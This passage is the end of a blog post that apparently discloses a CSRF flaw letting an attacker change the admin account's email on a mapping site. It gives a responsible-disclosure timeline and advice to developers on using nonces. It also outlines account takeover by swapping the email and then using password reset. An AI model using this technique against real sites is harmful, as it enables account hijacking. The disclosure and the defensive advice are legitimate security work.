<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg0NzmRGlNjq6sRl7LxvUh4GOnOYRYQFbqd3i2oIzaz6TPIWann1oLSuBZ3yLALnRYFPRavlVRt_AMvc6RxGW0ewnEeJhgzTBIxdZMh50TaL-zCAy4Tv6SUDSNPvX-B8ZOPZX2tP6Yexf8/s1600/geocommons12.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="225" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg0NzmRGlNjq6sRl7LxvUh4GOnOYRYQFbqd3i2oIzaz6TPIWann1oLSuBZ3yLALnRYFPRavlVRt_AMvc6RxGW0ewnEeJhgzTBIxdZMh50TaL-zCAy4Tv6SUDSNPvX-B8ZOPZX2tP6Yexf8/s320/geocommons12.jpg" width="320" /></a></div>
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiz5kP1RodN-LYkO0Ny2A_MUVOhmeQpal6XP8-3m5bNNrgqoOudLmbm2XzKiUVPJKHIHAmlnQFYdZKM2MKYqd-o_3Kj9Z9zTSdPBktCBFniDMvPrH-BeBE09_QZnOlQcxNfyAWKc6B1S9U/s1600/geocommons13.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="195" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiz5kP1RodN-LYkO0Ny2A_MUVOhmeQpal6XP8-3m5bNNrgqoOudLmbm2XzKiUVPJKHIHAmlnQFYdZKM2MKYqd-o_3Kj9Z9zTSdPBktCBFniDMvPrH-BeBE09_QZnOlQcxNfyAWKc6B1S9U/s320/geocommons13.jpg" width="320" /></a></div>
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjkl2sBTxVJSSVosgwACLiSTq4pyck9RiZgkTLqP9fh91IdDFxL5TWA2zD5t1gfhRh7CnQ9Lz-v2TGB8JDR4bYv5Gu3BXOzLwgkQmXtNog0N508QGuasJQNrp_PpaP5VxTqk95Me5m3acY/s1600/geocommons14.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="216" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjkl2sBTxVJSSVosgwACLiSTq4pyck9RiZgkTLqP9fh91IdDFxL5TWA2zD5t1gfhRh7CnQ9Lz-v2TGB8JDR4bYv5Gu3BXOzLwgkQmXtNog0N508QGuasJQNrp_PpaP5VxTqk95Me5m3acY/s320/geocommons14.jpg" width="320" /></a></div>
<br /></div>
What's interesting, it's only admin (<span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;">id=1</span>) account that is so special, I cannot change the email of any other user (apart from myself). It might have something to do with the fact that admin can change properties of any other user, but who knows...<br />
<br />
<b>Timeline:</b><br />
6.10.2011 - vulnerability discovered, PoC made<br />
7.10.2011 - vendor notified & replied<br />
11.10.2011 - vendor comment: issue fixed in codebase, we will be deploying soon<br />
25.10.2011 - vendor comment: we are deploying today<br />
22.11.2011 - public disclosure<br />
<h2>
Notes for developers</h2>
<ul style="text-align: left;">
<li>Protect against CSRF by using unique nonces. CSRF is serious!</li>
<li>If you're trying to protect only some of the forms (e.g. login form, password change form), always remember that e-mail address change form (or. e.g. security question change) form is equally important! With CSRF flaw there, attacker does not need to know the password, he can switch the e-mails and use the forget password feature to regenerate one.</li>
</ul>
<br />
<br /></div>Anonymoushttp://www.blogger.com/profile/11516786094492717236noreply@blogger.com0